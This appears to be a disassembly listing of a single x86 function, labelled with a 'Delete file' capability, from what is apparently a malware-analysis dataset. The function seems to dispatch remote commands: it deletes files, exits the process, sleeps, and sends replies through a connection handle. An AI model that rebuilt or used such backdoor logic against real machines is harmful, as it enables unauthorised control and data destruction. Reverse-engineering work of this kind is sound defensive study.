Function at 0x4078a8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x49
push 0
push 0
dec ecx
jne 0x4078b0
push ecx
xor eax, eax
push ebp
push 0x407ed6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, 0x40c9d8
mov ecx, 0x401
call fcn.004028f0
mov edx, dword [ebp - 0x10]
mov eax, 0x407eec
call fcn.00402c64
test eax, eax
jle 0x40795c
push 0x407f10
push dword [0x40c828]
push 0x407f20
mov eax, 0x2710
call fcn.004019f0
lea edx, [ebp - 0x14]
call fcn.00403e60
push dword [ebp - 0x14]
push 0x407f2c
push 0x407f38
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.004029ec
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040292c
push eax
lea eax, [ebp - 0xc]
call fcn.00402b78
push eax
mov eax, dword [0x40c830]
push eax
mov eax, dword [0x40a690]
mov eax, dword [eax]
call eax
mov eax, 0x40c9d8
mov edx, 0x401
call fcn.00403bdc
jmp 0x407a0e
mov edx, dword [ebp - 0x10]
mov eax, 0x407f44
call fcn.00402c64
test eax, eax
jle 0x4079a5
mov eax, 0x40c9d8
mov edx, 0x401
call fcn.00403bdc
mov eax, dword [ebp - 0x10]
call fcn.004076cc
call fcn.0040778c
push 0
mov eax, 0x40c9d4
mov ecx, 1
mov edx, dword [0x4073fc]
call fcn.004033e4
add esp, 4
jmp 0x407a0e
mov edx, dword [ebp - 0x10]
mov eax, 0x407f54
call fcn.00402c64
test eax, eax
jle 0x407a0e
mov eax, 0x40c9d8
mov edx, 0x401
call fcn.00403bdc
push 0x407f64
lea edx, [ebp - 0x18]
mov ax, 2
call fcn.00404b60
push dword [ebp - 0x18]
push 0x407f74
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004029ec
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040292c
push eax
lea eax, [ebp - 0xc]
call fcn.00402b78
push eax
mov eax, dword [0x40c830]
push eax
mov eax, dword [0x40a690]
mov eax, dword [eax]
call eax
lea edx, [ebp - 0x20]
mov ax, 1
call fcn.00404b60
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x407f80
call fcn.00402978
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
call fcn.00402c64
test eax, eax
jle 0x407a5a
push 0x40c824
mov edx, dword [ebp - 0x10]
mov eax, 0x407f90
call fcn.00402c64
mov ecx, eax
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00402b80
mov edx, dword [ebp - 0x10]
mov eax, dword [0x40c824]
call fcn.00402c64
dec eax
jne 0x407e28
mov eax, dword [0x40c824]
call fcn.0040292c
mov ecx, eax
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.00402bc0
mov edx, dword [ebp - 0x10]
mov eax, 0x407f9c
call fcn.00402c64
test eax, eax
jle 0x407acc
mov edx, dword [ebp - 0x10]
mov eax, 0x407fac
call fcn.00402c64
mov ecx, eax
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.00402bc0
mov edx, dword [ebp - 0x10]
mov eax, 0x407f38
call fcn.00402c64
mov edx, eax
dec edx
lea eax, [ebp - 0x10]
call fcn.00402cac
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov eax, dword [ebp - 0x24]
mov edx, 0x407fb8
call fcn.00402a70
jne 0x407aed
push 0
call sub.KERNEL32.DLL_ExitProcess
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x28]
mov eax, 0x407fc8
call fcn.00402c64
dec eax
jne 0x407b3c
lea eax, [ebp - 0x10]
mov ecx, 0xc
mov edx, 1
call fcn.00402bc0
cmp dword [ebp - 0x10], 0
je 0x407b2f
lea eax, [ebp - 4]
mov edx, 0x407fdc
call fcn.00402724
jmp 0x407b3c
lea eax, [ebp - 4]
mov edx, 0x407ff4
call fcn.00402724
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x2c]
mov eax, 0x408014
call fcn.00402c64
dec eax
jne 0x407b89
lea eax, [ebp - 0x10]
mov ecx, 8
mov edx, 1
call fcn.00402bc0
cmp dword [ebp - 0x10], 0
je 0x407b7c
lea edx, [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00407574
jmp 0x407b89
lea eax, [ebp - 4]
mov edx, 0x408024
call fcn.00402724
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x30]
mov eax, 0x408040
call fcn.00402c64
dec eax
jne 0x407bc1
lea eax, [ebp - 0x10]
mov ecx, 9
mov edx, 1
call fcn.00402bc0
lea edx, [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.0040741c
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x34]
mov eax, 0x408054
call fcn.00402c64
dec eax
jne 0x407c1c
lea eax, [ebp - 0x10]
mov ecx, 7
mov edx, 1
call fcn.00402bc0
mov eax, dword [ebp - 0x10]
call fcn.00402b24
push eax
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
je 0x407c0f
lea eax, [ebp - 4]
mov edx, 0x408064
call fcn.00402724
jmp 0x407c1c
lea eax, [ebp - 4]
mov edx, 0x408080
call fcn.00402724
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x38]
mov eax, 0x408098
call fcn.00402c64
dec eax
jne 0x407ce3
lea eax, [ebp - 0x10]
mov ecx, 7
mov edx, 1
call fcn.00402bc0
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 0x10]
mov eax, 0x407f90
call fcn.00402c64
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00402b80
mov edx, dword [ebp - 0x10]
mov eax, 0x407f90
call fcn.00402c64
mov ecx, eax
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.00402bc0
lea eax, [ebp - 0x138]
mov edx, dword [ebp - 0x10]
mov ecx, 0xff
call fcn.00402908
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x238]
mov edx, dword [ebp - 8]
mov ecx, 0xff
call fcn.00402908
lea eax, [ebp - 0x238]
pop edx
call fcn.00403f44
test al, al
je 0x407cd6
lea eax, [ebp - 4]
mov edx, 0x4080a8
call fcn.00402724
jmp 0x407ce3
lea eax, [ebp - 4]
mov edx, 0x4080c4
call fcn.00402724
lea edx, [ebp - 0x23c]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x23c]
mov eax, 0x4080dc
call fcn.00402c64
dec eax
jne 0x407d47
lea eax, [ebp - 0x10]
mov ecx, 0xb
mov edx, 1
call fcn.00402bc0
mov eax, dword [0x40c830]
push eax
mov eax, dword [0x40a6ec]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x10]
call fcn.00403e88
test eax, eax
jne 0x407d36
mov eax, 0x1e
imul eax, eax, 0x3e8
push eax
call sub.KERNEL32.DLL_Sleep
jmp 0x407eab
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 0x10]
call fcn.00403de8
mov edx, dword [ebp - 0x240]
mov eax, 0x4080f0
call fcn.00402c64
dec eax
jne 0x407dbc
lea eax, [ebp - 0x10]
mov ecx, 0xb
mov edx, 1
call fcn.00402bc0
push 0
push 0
mov eax, dword [0x40a6e0]
push eax
mov ecx, 0x4077e8
xor edx, edx
xor eax, eax
call fcn.00402648
push 0x408104
lea edx, [ebp - 0x244]
xor eax, eax
call fcn.00404804
push dword [ebp - 0x244]
push 0x408114
lea eax, [ebp - 4]
mov edx, 3
call fcn.004029ec
cmp dword [ebp - 4], 0
je 0x407e28
mov eax, 0x40c9d8
mov edx, 0x401
call fcn.00403bdc
push 0x408124
lea edx, [ebp - 0x248]
mov ax, 2
call fcn.00404b60
push dword [ebp - 0x248]
push 0x408138
push dword [ebp - 4]
push 0x407f74
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.004029ec
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040292c
push eax
lea eax, [ebp - 0xc]
call fcn.00402b78
push eax
mov eax, dword [0x40c830]
push eax
mov eax, dword [0x40a690]
mov eax, dword [eax]
call eax
mov edx, dword [ebp - 0x10]
mov eax, 0x408144
call fcn.00402c64
test eax, eax
jle 0x407e9c
mov eax, 0x40c9d8
mov edx, 0x401
call fcn.00403bdc
push 0x408124
lea edx, [ebp - 0x24c]
mov ax, 2
call fcn.00404b60
push dword [ebp - 0x24c]
push 0x408154
push 0x407f74
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.004029ec
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040292c
push eax
lea eax, [ebp - 0xc]
call fcn.00402b78
push eax
mov eax, dword [0x40c830]
push eax
mov eax, dword [0x40a690]
mov eax, dword [eax]
call eax
mov eax, 0x40c9d8
mov edx, 0x401
call fcn.00403bdc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407edd
lea eax, [ebp - 0x24c]
mov edx, 5
call fcn.004026b0
lea eax, [ebp - 0x38]
mov edx, 0xe
call fcn.004026b0
ret